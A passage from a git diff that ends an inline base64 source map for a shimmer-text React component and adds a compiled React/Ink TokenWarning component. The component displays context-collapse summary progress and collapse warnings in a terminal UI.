gICBpZiAoYmFzZVJHQiAmJiBzaGltbWVyUkdCKSB7XG4gICAgICBjb25zdCBpbnRlcnBvbGF0ZWQgPSBpbnRlcnBvbGF0ZUNvbG9yKGJhc2VSR0IsIHNoaW1tZXJSR0IsIGZsYXNoT3BhY2l0eSlcbiAgICAgIHJldHVybiAoXG4gICAgICAgIDw+XG4gICAgICAgICAgPFRleHQgY29sb3I9e3RvUkdCQ29sb3IoaW50ZXJwb2xhdGVkKX0+e21lc3NhZ2V9PC9UZXh0PlxuICAgICAgICAgIDxUZXh0IGNvbG9yPXttZXNzYWdlQ29sb3J9PiA8L1RleHQ+XG4gICAgICAgIDwvPlxuICAgICAgKVxuICAgIH1cblxuICAgIGNvbnN0IGNvbG9yID0gZmxhc2hPcGFjaXR5ID4gMC41ID8gc2hpbW1lckNvbG9yIDogbWVzc2FnZUNvbG9yXG4gICAgcmV0dXJuIChcbiAgICAgIDw+XG4gICAgICAgIDxUZXh0IGNvbG9yPXtjb2xvcn0+e21lc3NhZ2V9PC9UZXh0PlxuICAgICAgICA8VGV4dCBjb2xvcj17bWVzc2FnZUNvbG9yfT4gPC9UZXh0PlxuICAgICAgPC8+XG4gICAgKVxuICB9XG5cbiAgLy8gU2hpbW1lciBtb2RlOiBvbmx5IGNoYXJzIHdpdGhpbiDCsTEgb2YgZ2xpbW1lckluZGV4IG5lZWQgdGhlIHNoaW1tZXJcbiAgLy8gY29sb3IuIFdoZW4gZ2xpbW1lciBpcyBvZmZzY3JlZW4sIHJlbmRlciBhcyBhIHNpbmdsZSA8VGV4dD4uXG4gIGNvbnN0IHNoaW1tZXJTdGFydCA9IGdsaW1tZXJJbmRleCAtIDFcbiAgY29uc3Qgc2hpbW1lckVuZCA9IGdsaW1tZXJJbmRleCArIDFcblxuICBpZiAoc2hpbW1lclN0YXJ0ID49IG1lc3NhZ2VXaWR0aCB8fCBzaGltbWVyRW5kIDwgMCkge1xuICAgIHJldHVybiAoXG4gICAgICA8PlxuICAgICAgICA8VGV4dCBjb2xvcj17bWVzc2FnZUNvbG9yfT57bWVzc2FnZX08L1RleHQ+XG4gICAgICAgIDxUZXh0IGNvbG9yPXttZXNzYWdlQ29sb3J9PiA8L1RleHQ+XG4gICAgICA8Lz5cbiAgICApXG4gIH1cblxuICAvLyBTcGxpdCBpbnRvIGF0IG1vc3QgMyBzZWdtZW50cyBieSB2aXN1YWwgY29sdW1uIHBvc2l0aW9uXG4gIGNvbnN0IGNsYW1wZWRTdGFydCA9IE1hdGgubWF4KDAsIHNoaW1tZXJTdGFydClcbiAgbGV0IGNvbFBvcyA9IDBcbiAgbGV0IGJlZm9yZSA9ICcnXG4gIGxldCBzaGltID0gJydcbiAgbGV0IGFmdGVyID0gJydcbiAgZm9yIChjb25zdCB7IHNlZ21lbnQsIHdpZHRoIH0gb2Ygc2VnbWVudHMpIHtcbiAgICBpZiAoY29sUG9zICsgd2lkdGggPD0gY2xhbXBlZFN0YXJ0KSB7XG4gICAgICBiZWZvcmUgKz0gc2VnbWVudFxuICAgIH0gZWxzZSBpZiAoY29sUG9zID4gc2hpbW1lckVuZCkge1xuICAgICAgYWZ0ZXIgKz0gc2VnbWVudFxuICAgIH0gZWxzZSB7XG4gICAgICBzaGltICs9IHNlZ21lbnRcbiAgICB9XG4gICAgY29sUG9zICs9IHdpZHRoXG4gIH1cblxuICByZXR1cm4gKFxuICAgIDw+XG4gICAgICB7YmVmb3JlICYmIDxUZXh0IGNvbG9yPXttZXNzYWdlQ29sb3J9PntiZWZvcmV9PC9UZXh0Pn1cbiAgICAgIDxUZXh0IGNvbG9yPXtzaGltbWVyQ29sb3J9PntzaGltfTwvVGV4dD5cbiAgICAgIHthZnRlciAmJiA8VGV4dCBjb2xvcj17bWVzc2FnZUNvbG9yfT57YWZ0ZXJ9PC9UZXh0Pn1cbiAgICAgIDxUZXh0IGNvbG9yPXttZXNzYWdlQ29sb3J9PiA8L1RleHQ+XG4gICAgPC8+XG4gIClcbn1cbiJdLCJtYXBwaW5ncyI6IjtBQUFBLE9BQU8sS0FBS0EsS0FBSyxNQUFNLE9BQU87QUFDOUIsU0FBU0MsV0FBVyxRQUFRLDBCQUEwQjtBQUN0RCxTQUFTQyxJQUFJLEVBQUVDLFFBQVEsUUFBUSxjQUFjO0FBQzdDLFNBQVNDLG9CQUFvQixRQUFRLHFCQUFxQjtBQUMxRCxTQUFTQyxRQUFRLEVBQUUsS0FBS0MsS0FBSyxRQUFRLHNCQUFzQjtBQUM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
\ No newline at end of file
diff --git a/cc-haha/src/components/TokenWarning.tsx b/cc-haha/src/components/TokenWarning.tsx
new file mode 100644
index 0000000..8a5c200
--- /dev/null
+++ b/cc-haha/src/components/TokenWarning.tsx
@@ -0,0 +1,179 @@
+import { c as _c } from "react/compiler-runtime";
+import { feature } from 'bun:bundle';
+import * as React from 'react';
+import { useSyncExternalStore } from 'react';
+import { Box, Text } from '../ink.js';
+import { getFeatureValue_CACHED_MAY_BE_STALE } from '../services/analytics/growthbook.js';
+import { calculateTokenWarningState, getEffectiveContextWindowSize, isAutoCompactEnabled } from '../services/compact/autoCompact.js';
+import { useCompactWarningSuppression } from '../services/compact/compactWarningHook.js';
+import { getUpgradeMessage } from '../utils/model/contextWindowUpgradeCheck.js';
+type Props = {
+  tokenUsage: number;
+  model: string;
+};
+
+/**
+ * Live collapse progress: "x / y summarized". Sub-component so
+ * useSyncExternalStore can subscribe to store mutations unconditionally
+ * (hooks-in-conditionals would violate React rules). The parent only
+ * renders this when feature('CONTEXT_COLLAPSE') + isContextCollapseEnabled().
+ */
+function CollapseLabel(t0) {
+  const $ = _c(8);
+  const {
+    upgradeMessage
+  } = t0;
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = require("../services/contextCollapse/index.js");
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  const {
+    getStats,
+    subscribe
+  } = t1 as typeof import('../services/contextCollapse/index.js');
+  let t2;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = () => {
+      const s = getStats();
+      const idleWarn = s.health.emptySpawnWarningEmitted ? 1 : 0;
+      return `${s.collapsedSpans}|${s.stagedSpans}|${s.health.totalErrors}|${s.health.totalEmptySpawns}|${idleWarn}`;
+    };
+    $[1] = t2;
+  } else {
+    t2 = $[1];
+  }
+  const snapshot = useSyncExternalStore(subscribe, t2);
+  let t3;
+  if ($[2] !== snapshot) {
+    t3 = snapshot.split("|").map(Number);
+    $[2] = snapshot;
+    $[3] = t3;
+  } else {
+    t3 = $[3];
+  }
+  const [collapsed, staged, errors, emptySpawns, idleWarn_0] = t3 as [number, number, number, number, number];
+  const total = collapsed + staged;
+  if (errors > 0 || idleWarn_0) {
+    const problem = errors > 0 ? `collapse errors: ${errors}` : `collapse idle (${emptySpawns} empty runs)`;
+    const t4 = total > 0 ? `${collapsed} / ${total} summarized \u00b7 ${problem}` : problem;
+    let t5;
+    if ($[4] !== t4) {
+      t5 = <Text color="warning" wrap="truncate">{t4}</Text>;
+      $[4] = t4;
+      $[5] = t5;
+    } else {
+      t5 = $[5];
+    }
+    return t5;
+  }
+  if (total === 0) {
+    return null;
+  }
+  const label = `${collapsed} / ${total} summarized`;
+  const t4 = upgradeMessage ? `${label} \u00b7 ${upgradeMessage}` : label;
+  let t5;
+  if ($[6] !== t4) {
+    t5 = <Text dimColor={true} wrap="truncate">{t4}</Text>;
+    $[6] = t4;
+    $[7] = t5;
+  } else {
+    t5 = $[7];
